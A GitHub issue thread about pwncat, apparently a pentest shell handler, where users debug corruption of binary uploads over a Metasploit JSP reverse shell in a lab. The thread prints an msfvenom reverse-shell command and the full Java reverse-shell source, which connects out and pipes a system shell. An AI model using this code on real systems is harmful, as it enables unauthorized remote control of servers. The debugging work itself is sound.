calebstewart / pwncat

Fancy reverse and bind shell handler
https://pwncat.readthedocs.io
MIT License
2.58k stars 250 forks source link

uploaded/downloaded binary files are corrupted with jsp reverse shell #155

Open Kaiziron opened 3 years ago

Kaiziron commented 3 years ago

First of all, I wanna say that pwncat is awesome, this tool really impressed me when I discovered it

However this time, I'm using pwncat to listen a jsp reverse shell generated by msfvenom (java/jsp_shell_reverse_tcp) running on apache tomcat, and I attempted to upload a tar archive containing enumeration scripts using pwncat upload function in local mode, however, it is corrupted, I check the sha256 hash of the file and indeed it is different than the tar file on my host machine.

I also tried the download function to download a binary file as a test, and I discovered that the downloaded binary to my machine was corrupted too after checking the sha256 hash.

But I tried to spawn a normal netcat reverse shell on that exact same machine and listen using pwncat and upload the exact same tar file. The upload function is working well and the hash of the files are identical.

I'm thinking if pwncat has an issue with uploading/downloading binary files when handling a jsp reverse shell.

Mitul16 commented 3 years ago

Hey @Kaiziron, may you please provide some information about the pwncat version with which you are facing this issue?

Kaiziron commented 3 years ago

The version of pwncat is 0.4.3

Mitul16 commented 3 years ago

Would you mind using the provided Bug report template? It will be helpful to know the context and it won't take much time, thank you :smile:

calebstewart commented 3 years ago

Is the machine you were testing on available in the wild? Is it a TryHackMe or Hack the Box VM? I can spin up an arbitrary Tomcat version and test it out, but I'd like to replicate your environment as much as possible.

Also, is this a Windows or Linux target? If you can provide the transcript of how you started pwncat as well, that may be helpful.

Mitul16 commented 3 years ago

Indeed there is a file checksum mismatch, see below.

Target System

# uname -a
Linux kali-vm 5.10.0-kali8-amd64 #1 SMP Debian 5.10.40-1kali1 (2021-05-31) x86_64 GNU/Linux

tomcat version

# tomcat9/bin/version.sh
Using CATALINA_BASE:   /tmp/tomcat9
Using CATALINA_HOME:   /tmp/tomcat9
Using CATALINA_TMPDIR: /tmp/tomcat9/temp
Using JRE_HOME:        /usr
Using CLASSPATH:       /tmp/tomcat9/bin/bootstrap.jar:/tmp/tomcat9/bin/tomcat-juli.jar
Using CATALINA_OPTS:   
NOTE: Picked up JDK_JAVA_OPTIONS:  --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED
Server version: Apache Tomcat/9.0.50
Server built:   Jun 28 2021 08:46:44 UTC
Server number:  9.0.50.0
OS Name:        Linux
OS Version:     5.10.0-kali8-amd64
Architecture:   amd64
JVM Version:    11.0.11+9-post-Debian-1
JVM Vendor:     Debian

Screenshots

Screenshot from 2021-07-16 00-45-27

Kaiziron commented 3 years ago

The machine I was testing is from elearnsecurity/ine pts course black box pentest lab 1

Target machine :

(remote) tomcat8@xubuntu:/var/lib/tomcat8$ uname -a
Linux xubuntu 4.4.0-104-generic #127-Ubuntu SMP Mon Dec 11 12:16:42 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

Version of tomcat :

(remote) tomcat8@xubuntu:/usr/share/tomcat8/bin$ ./version.sh 
Using CATALINA_BASE:   /var/lib/tomcat8
Using CATALINA_HOME:   /usr/share/tomcat8
Using CATALINA_TMPDIR: /tmp/tomcat8-tomcat8-tmp
Using JRE_HOME:        /usr/lib/jvm/default-java
Using CLASSPATH:       /usr/share/tomcat8/bin/bootstrap.jar:/usr/share/tomcat8/bin/tomcat-juli.jar
Using CATALINA_PID:    /var/run/tomcat8.pid
Server version: Apache Tomcat/8.0.32 (Ubuntu)
Server built:   Jan 24 2020 16:24:30 UTC
Server number:  8.0.32.0
OS Name:        Linux
OS Version:     4.4.0-104-generic
Architecture:   amd64
JVM Version:    1.8.0_242-8u242-b08-0ubuntu3~16.04-b08
JVM Vendor:     Private Build

Msfvenom command used to generate the reverse shell :

msfvenom -p java/jsp_shell_reverse_tcp LHOST=172.16.64.10 LPORT=443 -f war > rev.war

Version of pwncat :

root@kali:/tmp# pwncat -v
0.4.3

Command used to start pwncat

root@kali:/tmp# pwncat -lp 443
[03:35:09] Welcome to pwncat 🐈!                                                                                                                                               __main__.py:143
[03:35:10] received connection from 172.16.64.101:43718                                                                                                                             bind.py:57
[03:35:12] 0.0.0.0:443: normalizing shell path                                                                                                                                  manager.py:502
[03:35:13] 0.0.0.0:443: upgrading from /bin/dash to /bin/bash                                                                                                                   manager.py:502
[03:35:14] 172.16.64.101:43718: registered new host w/ db                                                                                                                       manager.py:502

Hash of the original file

root@kali:/tmp# sha256sum sudo.tar 
ab81935d8387b261a498b38311ae85e33c721e128acd3a98a4bf3a050bd18059  sudo.tar

Hash of the file uploaded by pwncat

(local) pwncat$ upload sudo.tar
./sudo.tar ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 41.0/41.0 KB • ? • 0:00:00
[03:46:27] uploaded 40.96KiB in 3.38 seconds                                                                                                                                      upload.py:74
(local) pwncat$                                                                                                                                                                               
(remote) tomcat8@xubuntu:/tmp$ sha256sum sudo.tar
fec42ba292f00345ae58f77d5480418b332ebfa62006866d3fb80aa20f72fa1c  sudo.tar
calebstewart commented 3 years ago

This is very peculiar. I was able to replicate this, and it seems the resulting file is much larger than it should be. I uploaded a 50MB dump from /dev/urandom, and the file on the target ended up being 87MB, which makes no sense:

image

For reference, this is the file I uploaded on my attacking machine:

image

I'm not sure what the problem is but I'm looking into it.

calebstewart commented 3 years ago

I'm doing some more testing. I built a simple file with every possible byte in it (0-255):

image

Uploading this file results in the following on the target:

image

Which is now 512 bytes long. It seems to mess up starting at what should be 0x80, and probably has to do with the translation of bytes needed due to the PTY, but I'll have to do some more digging.

Mitul16 commented 3 years ago

I have found something, you may find it helpful. I tried printing \x80 as you mentioned, and then copy pasted the printed output to check the hexdump

Screenshot from 2021-07-19 00-49-16

calebstewart commented 3 years ago

That is interesting. It has to be some termios settings, because the same VM works just fine with other payloads. I just need to figure out what exactly is getting enabled.

calebstewart commented 3 years ago

Never mind. The TTY settings are identical when it's working and when it's not, so must be something else.

calebstewart commented 3 years ago

For what it's worth, this is the source for a generated WAR file:

<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>

<%
  class StreamConnector extends Thread
  {
    InputStream ec;
    OutputStream cn;

    StreamConnector( InputStream ec, OutputStream cn )
    {
      this.ec = ec;
      this.cn = cn;
    }

    public void run()
    {
      BufferedReader dw  = null;
      BufferedWriter fyv = null;
      try
      {
        dw  = new BufferedReader( new InputStreamReader( this.ec ) );
        fyv = new BufferedWriter( new OutputStreamWriter( this.cn ) );
        char buffer[] = new char[8192];
        int length;
        while( ( length = dw.read( buffer, 0, buffer.length ) ) > 0 )
        {
          fyv.write( buffer, 0, length );
          fyv.flush();
        }
      } catch( Exception e ){}
      try
      {
        if( dw != null )
          dw.close();
        if( fyv != null )
          fyv.close();
      } catch( Exception e ){}
    }
  }

  try
  {
    String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
  ShellPath = new String("/bin/sh");
} else {
  ShellPath = new String("cmd.exe");
}

    Socket socket = new Socket( "192.168.122.1", 4444 );
    Process process = Runtime.getRuntime().exec( ShellPath );
    ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
    ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
  } catch( Exception e ) {}
%>

It looks like a pretty standard reverse shell implementation in Java. I don't see anything crazy that would explain weird UTF translation issues.

calebstewart commented 3 years ago

OKAY. I think I know what's happening, but I'm not sure what the proper way to fix it is.

The source I posted above uses an InputStreamReader wrapped in a BufferedReader for the standard input (and the equivalent for the standard output). These are performing some kind of encoding translation which is causing this. I can prove that by modifying the loop in run() to remove the use of these classes, and rebuild the WAR file:

    public void run()
    {
      BufferedReader dw  = null;
      BufferedWriter fyv = null;
      try
      {
        final byte[] buf = new byte[8192];
        int length;
        while ( (length = this.ec.read(buf)) != -1 ) {
          if ( this.cn != null ) {
            this.cn.write(buf, 0, length);
            if ( this.ec.available() == 0 ){
              this.cn.flush();
            }
          }
        }
      } catch( Exception e ){}
      try
      {
        if( dw != null )
          dw.close();
        if( fyv != null )
          fyv.close();
      } catch( Exception e ){}
    }
  }

This is the same way that the pure Java payload is implemented (as seen here).

I'm not really sure there's anything I can do to stop this, to be honest... :cry:

The implementation of the JSP payload is defined here in the Metasploit Framework repository, if anyone is curious.

Mitul16 commented 3 years ago

We can do one thing.

Mitul16 commented 3 years ago

I was testing the encoding, you are correct it is being applied by the payload itself. So pwncat isn't doing anything wrong.

We can try to create a PR for metasploit-framework to suggest the change in the encoding being used in their payload, if the changes are applicable.

Screenshot from 2021-07-19 02-16-38

calebstewart commented 3 years ago

Yeah, I had thought of that. I'm not sure if there was a deliberate reason they chose to structure the payload in this way, though. I may send out some E-mails or ask around about that. I'm not sure if that's something they'd be open to, as it's not something that is important from their perspective. That being said, I'll see what I can do.